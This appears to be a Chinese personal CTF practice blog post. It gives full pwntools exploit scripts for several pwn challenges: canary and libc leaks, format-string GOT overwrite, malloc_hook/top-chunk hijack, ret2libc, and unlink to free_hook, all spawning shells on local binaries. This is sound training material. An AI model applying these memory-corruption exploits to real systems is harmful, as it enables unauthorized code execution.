这周佛系做题~~~
2017湖湘杯pwn100 这道题学了个知识点, fork ,感觉还好吧,这题很快就看到了栈溢出,但是想了一会逻辑有点蒙逼,看了看 wp ,就是简单的泄漏 Canary 和 libc ,发现自己真是莫名其妙不敢做题,怎么搞得~~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 __Auther__ = 'niexinming' from pwn import * import base64 one = 0x3ac5e io = process('./pwns') #getCanary payload = 'a'*0x102 io.recvuntil('May be I can know if you give me some data[Y/N]\n') io.sendline('Y') io.recvuntil('Give me some datas:\n') io.send(base64.b64encode(payload)) io.recvline() myCanary=io.recv()[268:271] Canary="\x00"+myCanary print "Canary:"+hex(u32(Canary)) #getlibc payload = 'a'*0x151 io.recvuntil('May be I can know if you give me some data[Y/N]\n') io.sendline('Y') io.recvuntil('Give me some datas:\n') io.send(base64.b64encode(payload)) io.recvline() mylibc=io.recv()[347:351] base_libc=u32(mylibc)-0x18637 print "mylibc_addr:"+hex(base_libc) one=one+base_libc payload = 'a'*0x101+Canary+"a"*0xc+p32(one) io.recvuntil('May be I can know if you give me some data[Y/N]\n') io.sendline('Y') io.recvuntil('Give me some datas:\n') io.send(base64.b64encode(payload)) io.interactive()
2017湖湘杯pwn200 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * p= process('./pwne') elf = ELF("./pwne", checksec=False) libc = ELF('/lib/i386-linux-gnu/libc.so.6') context.log_level = "debug" p.recvuntil("WANT PLAY[Y/N]\n") p.sendline('Y') sleep(0.1) p.sendline("%3$p") p.recvuntil("0x") addr = int(p.recvuntil("\n")[:-1],16) p.recvuntil("GET YOUR AGE:") p.sendline('123') libc_base = addr - 393944 info("libc:0x%x",libc_base) system = libc.symbols['system'] + libc_base p.recvuntil("WANT PLAY[Y/N]\n") p.sendline('Y') p.recvuntil("GET YOUR NAME:") sleep(0.1) payload = fmtstr_payload(7, {(elf.got['atoi']):system}) p.send(payload) p.sendline('/bin/sh') p.recv() p.recv() p.interactive()
这题出的怪怪的,写的 wp 也不太好看不过凑合看吧,这个跟着师傅 学了一个骚的,学着构造了一下,真的好用~~~ 我之前的思路是通过泄漏栈地址找 stack ,然后填入 one_gadget ,应该也可以,我看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import * p= process('./pwne') elf = ELF("./pwne", checksec=False) libc = ELF('/lib/i386-linux-gnu/libc.so.6') #context.log_level = "debug" p.recvuntil("WANT PLAY[Y/N]\n") p.sendline('Y') sleep(0.1) p.sendline("%3$p%26$p") p.recvuntil("0x") addr = int(p.recvuntil("0x")[:-2],16) stack = int(p.recvuntil("\n")[:-1],16) p.recvuntil("GET YOUR AGE:") p.sendline('123') libc_base = addr - 393944 stack = stack - 28 info("libc:0x%x",libc_base) one = 0x5fbc6 + libc_base p.recvuntil("WANT PLAY[Y/N]\n") p.sendline('Y') p.recvuntil("GET YOUR NAME:") sleep(0.1) payload = fmtstr_payload(7, {(stack):one}) gdb.attach(p) p.send(payload) p.sendline('123') p.recv() p.recv() p.interactive()
成功了, 32 位真的 one_gadget 太容易成功了~~~
pwn400 这题出的属实棒,爽歪歪,上 wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * context.log_level = 'debug' binary = './profile' elf = ELF(binary) libc = elf.libc p = process('./profile') def deb(): gdb.attach(p) pause() def create(length,name,age): p.recvuntil('>') p.sendline('1') p.recvuntil('name len:\n') p.sendline(str(length)) p.recvuntil('name:\n') p.sendline(name) p.recvuntil(' age:\n') p.sendline(age) def printf(): p.recvuntil('>') p.sendline('2') def update(length,name,age): p.recvuntil('>') p.sendline('3') p.recvuntil('namelen:\n') p.sendline(str(length)) p.recvuntil(' name:') p.send(name) p.recvuntil('age:') p.sendline(age) def exchange(p1,p2): p.recvuntil('>') p.sendline('4') p.recvuntil('Person 1: ') p.send(p1) p.recvuntil('Person 2: ') p.send(p2) #leak libc puts_got = elf.got['puts'] printf_got = elf.got['printf'] atoi_got = elf.got['atoi'] create(0x10,'aaaa','1') print hex(puts_got) update(-1,p32(puts_got),'1') printf() p.recvuntil('name: ') libc_base = u32(p.recv(4)) - libc.symbols['puts'] log.success('libc_base addr : 0x%x'%libc_base) malloc_hook = libc_base + libc.symbols['__malloc_hook'] log.success('malloc_hook addr : 0x%x'%malloc_hook) topchunk_addr = malloc_hook + 0x48 log.success('topchunk addr : 0x%x'%topchunk_addr) one_gadget = libc_base + 0x3ac69 log.success('one_gadget addr : 0x%x'%one_gadget) #hijack main_arena->topchunk -> __malloc_hook exchange(p32(topchunk_addr-12),p32(malloc_hook-0x48+0x1c)) #deb() update(0x50,p32(one_gadget)*11,'1') #trigger one_gadegt p.recvuntil('>') p.sendline('3') p.recvuntil('namelen:\n') p.sendline('20') p.interactive()
说实话,这题我分析半天都没看见洞,我只看见了一个逻辑漏洞,但是不会利用
1 2 read(0, &buf, 8u); strncat((char *)&buf_bss, &buf, nbytes_bss - old_length);
然后就没有了,然后差不多看了 2 个小时吧,受不了了,开始看 wp ,突然发现我还菜啊~~~~
事实上这题还是很绕的,我们来分析一下 - 首先输入时如果字节大于 8 就直接 malloc 一个,然后存到 bss 的指针里 - 而如果小于 8 的话直接存到上述存指针变量的变量里
在 update 中,有一个格式不匹配溢出,可以输入 -1 然后任意字节输入,虽然没什么用,真正的漏洞是任意地址泄漏,即 print 函数,但是要注意输入的长度一定要
1 2 3 4 5 if ( (signed int)nbytes_bss <= 0 || (signed int)nbytes_bss > 8 ) { printf("Your name: %s\n", buf_bss); result = printf("Your age: %d\n", age_bss); }
这题这漏洞我都没看见,感觉被一个假洞坑害了~~~
这题学到了,通过 exchange 函数可以把 malloc_hook 和 top_chunk 交换,让 top_chunk_addr 变为 malloc_hook 附近的地址,这里注意一下,和 64 位类似,注意一下对齐.然后直接在上边添 one_gadget 就完事了,理解了还是很简单的~~~
UNCTF Soso_easy_pwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # coding=utf-8 from pwn import * p=process('./pwn',aslr=0) p.recvuntil("Welcome our the ") data=hex(int(p.recvline()[:5])) sh_addr=int(data+'59cd',16) print "sh_addr="+hex(sh_addr) p.recvuntil("So, Can you tell me your name?") gdb.attach(p) pause() payload=12*'a'+p32(sh_addr) p.send(payload) p.recvuntil(":") p.sendline("3") p.interactive()
这题没办法,只能 1/16 几率成功,多跑几次或直接开个循环
本来我看这题的时候看傻了,没发现有个后门,想着有 canary 和 pie 怎么搞啊,结果这么简单,什么辣鸡~~~ 这题出的感觉还挺活的,让我这种辣鸡无所适从~~~
UNCTF babyrop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 # coding=utf-8 from pwn import * import struct from LibcSearcher import * import time p=process('./babyrop') e=ELF('./babyrop') libc=e.libc p.recvuntil("Hello CTFer!") payload=(0x2c-0xc)*'a'+'ffff' p.sendline(payload) vul_addr=0x0804853D puts_plt=e.symbols['puts'] puts_got=e.got['puts'] p.recvuntil("What is your name?") payload=(0x10+0x4)*'a'+p32(puts_plt)+p32(vul_addr)+p32(puts_got) p.sendline(payload) data=p.recvline() puts_addr=u32(p.recv(4)) libc_puts_addr=libc.symbols['puts'] #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型 obj = LibcSearcher("puts", puts_addr) libc_base=puts_addr-obj.dump("puts") system_addr=libc_base+obj.dump("system") #system 偏移 print 'system'+hex(system_addr) sh_addr=libc_base+obj.dump("str_bin_sh") #/bin/sh 偏移 p.recvuntil("What is your name?") ret_addr=0x0804839e payload=(0x10+0x4)*'a'+p32(ret_addr)+p32(system_addr)+'aaaa'+p32(sh_addr) p.sendline(payload) p.interactive()
第一次看见直接用 LibcSearcher 通杀的
suctf pwn5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * p = process('./supwn5') elf = ELF("./supwn5", checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) #context.log_level = "debug" def new(size): p.sendlineafter('please chooice :\n','1') p.sendlineafter('please input the size : \n',str(size)) def free(ind): p.sendlineafter('please chooice :\n','2') p.sendlineafter('which node do you want to delete\n',str(ind)) def edit(ind,content): p.sendlineafter('please chooice :\n','4') p.sendlineafter('which one do you want modify :\n',str(ind)) p.sendafter('please input the content',content) new(0x80) new(0x80) new(1) payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16) payload = payload.ljust(0x80) payload+=p64(0x80)+p64(0x90) edit(0,payload) free(1) pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5 edit(0,pay) p.sendlineafter('please chooice :\n','3') p.sendlineafter('which node do you want to show\n','0') p.recvuntil('the content is : \n') leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) libc_base = leak - libc.symbols['puts'] print hex(libc_base) system = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5 edit(1,pay) gdb.attach(p) one=libc_base+0x4526a edit(0,p64(one)) free(1) p.interactive()
简单的堆溢出,首先考虑 unlink ,因为实在是太好用了~~~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import * context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug') def debug(addr = '0x080486f6'): raw_input('debug:') gdb.attach(io, "b *" + addr) shellcode="flag" elf = ELF('./pwnme2') exec_string=elf.symbols['exec_string'] print "%x" % exec_string scanf_addr = elf.symbols['gets'] print "%x" % scanf_addr bss_addr = elf.bss() print "%x" % bss_addr offset = 0x70 io = process('./pwnme2') #io = remote('104.224.169.128', 18887) payload = 'A' * offset payload += p32(scanf_addr) payload += p32(exec_string) payload += p32(bss_addr+0x20) #debug() io.sendline(payload) io.sendline(shellcode) io.interactive() io.close()
被师傅思路折服了,其实这题很简单,我发现我自己真是不擅长用后门, tcl ,我看这题以为只有一个溢出,没有泄漏怎么搞,我傻了,发现有后门~~~
师傅太狠了,猜出路径写 bss 里直接调用了,太骚了~~~~